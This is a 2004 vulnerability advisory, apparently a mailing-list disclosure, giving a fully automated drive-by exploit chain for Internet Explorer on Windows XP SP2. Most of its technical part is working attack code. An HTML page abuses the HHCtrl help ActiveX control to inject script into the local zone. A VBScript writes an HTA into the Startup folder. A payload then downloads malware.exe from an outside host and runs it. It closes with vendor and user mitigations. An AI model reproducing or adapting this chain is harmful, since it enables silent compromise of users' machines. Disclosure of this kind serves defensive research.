Did they really do a good job on service pack 2? Was
it worth the investment that’s reported more then the missile defense
system? All these articles on the great achievement by Microsoft and
XP SP2 really merit? They totally forgot HTA files and HTM help
files. Who knows that else.
“Microsoft SP2 team, that is unacceptable, YOUR
FIRED.” Donald Trump
http://freehost07.websamba.com/greyhats/sp2rc-analysis.htm
Microsoft
Internet Explorer XP SP2 Fully Automated Remote Compromise
Dec, 21
2004
Vulnerable
----------
- Microsoft Internet Explorer 6.0
- Microsoft Windows XP Pro SP2
- Microsoft Windows XP Home SP2
Not Tested
------------------------
- Microsoft Windows 98
- Microsoft Internet Explorer 5.x
- Microsoft Windows 2003 Server
Severity
---------
Critical - Remote code execution, no user intervention
Intro
------
Although hundreds of millions of dollars have been spent on securing SP2,
perfection is impossible. Through the joint effort of Michael Evanchik (http://www.michaelevanchik.com) and
Paul from Greyhats Security (http://greyhats.cjb.net),
a very critical vulnerability has been developed that can compromise a user's
system without the need for user interaction besides visiting the malicious
page. The vulnerability is not actually a vulnerability in itself, but rather
it is uses multiple known holes in SP2 including Help ActiveX Control Related
Topics Zone Security Bypass Vulnerability and Help ActiveX Control Related
Topics Cross Site Scripting Vulnerability.
Why
Microsoft has still not patched two of these known vulnerabilities that have
been out for almost a half of year now, is beyond me.
Tech Stuff and Explanation
--------------------------
1. Create
a webpage with the following code:
sp2rc.htm
---------------------------------------------------------------------
<OBJECT id="localpage" type="application/x-oleobject"
classid="" height=7%
style="position:absolute;top:140;left:72;z-index:100;"
codebase="" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value="command;file://C:\WINDOWS\PCHealth\HelpCtr\System\blurbs\tools.htm">
</OBJECT>
<OBJECT
id="inject" type="application/x-oleobject"
classid="" height=7%
style="position:absolute;top:140;left:72;z-index:100;" codebase=""
width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1"
value='command;_javascript_:execScript("document.write(\"<script
language=\\\"vbscript\\\"
src="">
</OBJECT>
<script>
localpage.HHClick();
setTimeout("inject.HHClick()",100);
</script>
---------------------------------------------------------------------
Explanation
of above code:
The first object (id: localpage) tells hhctrl.ocx to open a help popup window
to the location C:\WINDOWS\PCHealth\HelpCtr\System\blurbs\tools.htm. This file
was chosen because it is treated as the local zone and it doesn't have any
script to mess us up. On some computers an error is shown before the popup.
This is the user's only chance to prevent the vulnerability from working. If
internet explorer were to be closed at this point, the user would be safe.
The
second object (id: inject) tells the help popup to navigate to a _javascript_
protocol, which executes. Thus, cross site scripting has just taken place. A
script tag that uses a remote file is written to the page, and writehta.txt
(below) is executed in the unsecured local zone.
In the
script, HHClick is able to be used to automate the vulnerability. This is more
effective than the previously described method of requiring a user to click on
a button.
2. Writehta.txt uses adodb recordset to write Microsoft Office.hta to the
user's startup folder. See Michael Evanchik's analysis of the drag and drop
vulnerability for an explanation on adodb recordset.
Also it
is reported that a ADODB recordset can be build locally without using a http
server or ftp server like below.
writehta.txt
---------------------------------------------------------------------
Dim Conn,
rs
Set Conn
= CreateObject("ADODB.Connection")
Conn.Open "Driver={Microsoft Text Driver (*.txt; *.csv)};" & _
"Dbq=http://www.malware.com;" & _
"Extensions=asc,csv,tab,txt;" & _
"Persist Security Info=False"
Dim sql
sql = "SELECT * from foobar.txt"
set rs = conn.execute(sql)
set rs =CreateObject("ADODB.recordset")
rs.Open "SELECT * from foobar.txt", conn
rs.Save "C:\Documents and Settings\All Users\Start
Menu\Programs\Startup\Microsoft Office.hta", adPersistXML
rs.close
conn.close
window.close
---------------------------------------------------------------------
3. f00bar.txt (thanks malware for hosting this file) is the file requested by
the adodb recordset (again, read the drag and drop analysis at www.michaelevanchik.com for an
explanation on how this works and why the the f00bar.txt looks like it does).
Because there is absolutely no limit on what you can do in an hta file, an old,
yet effective method of requesting and saving a file to the user's hd is used.
>From that, a wscript shell is created and used to run the program. And now,
ladies and gentlemen, we have compromised the user's machine.
f00bar.txt
---------------------------------------------------------------------
"meaning less shit i had to put here"
"<script language=vbscript> crap = """
""": on error resume next: crap = """
""" : set o =
CreateObject(""msxml2.XMLHTTP"") : crap="""
""" : o.open
""GET"",""http://freehost07.websamba.com/greyhats/malware.exe"",False
: crap="""
""" : o.send : crap="""
""" : set s = createobject(""adodb.stream"")
: crap="""
""" : s.type=1 : crap="""
""" : s.open : crap="""
""" : s.write o.responseBody : crap="""
""" : s.savetofile ""C:\malware.exe"",2 :
crap="""
""" : Set ws =
CreateObject(""WScript.Shell"") : crap="""
""" : ws.Run ""C:\malware.exe"", 3, FALSE :
crap="""
"""</script> crap="""
---------------------------------------------------------------------
4. Upload hhtctrl.ocx for the computers that don’t happen to have
this control. All XP's seem to have this by default, some win2k3's do not
(according to Michael Evanchik)
Proof of Concept?
------------------
- http://freehost07.websamba.com/greyhats/sp2rc.htm
- If an
error is shown, press OK. This is normal.
- Notice
in your startup menu a new file called Microsoft Office.hta. When run, this
file will download and launch a harmless executable (which includes a pretty
neat fire animation)
Vendor
Recommendations
----------------------
- Like Michael Evanchik said in his previous analysis, Microsoft needs to apply
XP Service Pack 2's local zone lockdown to .HTA files and HTML Help (chm) files
as well.
- This
might be a little farfetched, but it would solve a lot of problems: Take out
the startup folder and only support running files during startup through the
registry. The startup folder is a major part of this vulnerability and I can
almost guarantee it will be used for another remote compromise.
-
Microsoft could possibly take HTA files out altogether. I have not seen them
used for anything beyond hacking.
- No
vulnerability is too small or too insignificant to be taken seriously. Treat
every vulnerability as if it could be dangerous.
User Recommendations
---------------------
- Disable hta files.
- Get yourself antivirus software. I recommend Symantec because once they get
their lazy asses off the couch and fix some of this stuff you will be a lot
better off.
- Disable active scripting in Internet Explorer. If nothing else, do this.
- Do not use Internet Explorer, use Mozilla Firebird (now known as
FireFox www.mozilla.org)
Credit
------
Paul from Greyhats
Michael Evanchik
Http equiv (thanks for allowing me to use your server for f00bar.txt)
Greets
------
- Liu Die Yu (all the work you've done is amazing)
Contact
-------
[EMAIL PROTECTED]
http://greyhats.cjb.net
Note
-----
Greyhats is becoming bigger and is in need of an upgrade. If anyone is
interested in donating some webspace and a domain name I would be very
appreciative. Contact me so that we may work something out :)
Michael Evanchik
Relationship1
p: 914-921-4400
f: 914-921-6007
mailto:[EMAIL PROTECTED]
web: http://www.relationship1.com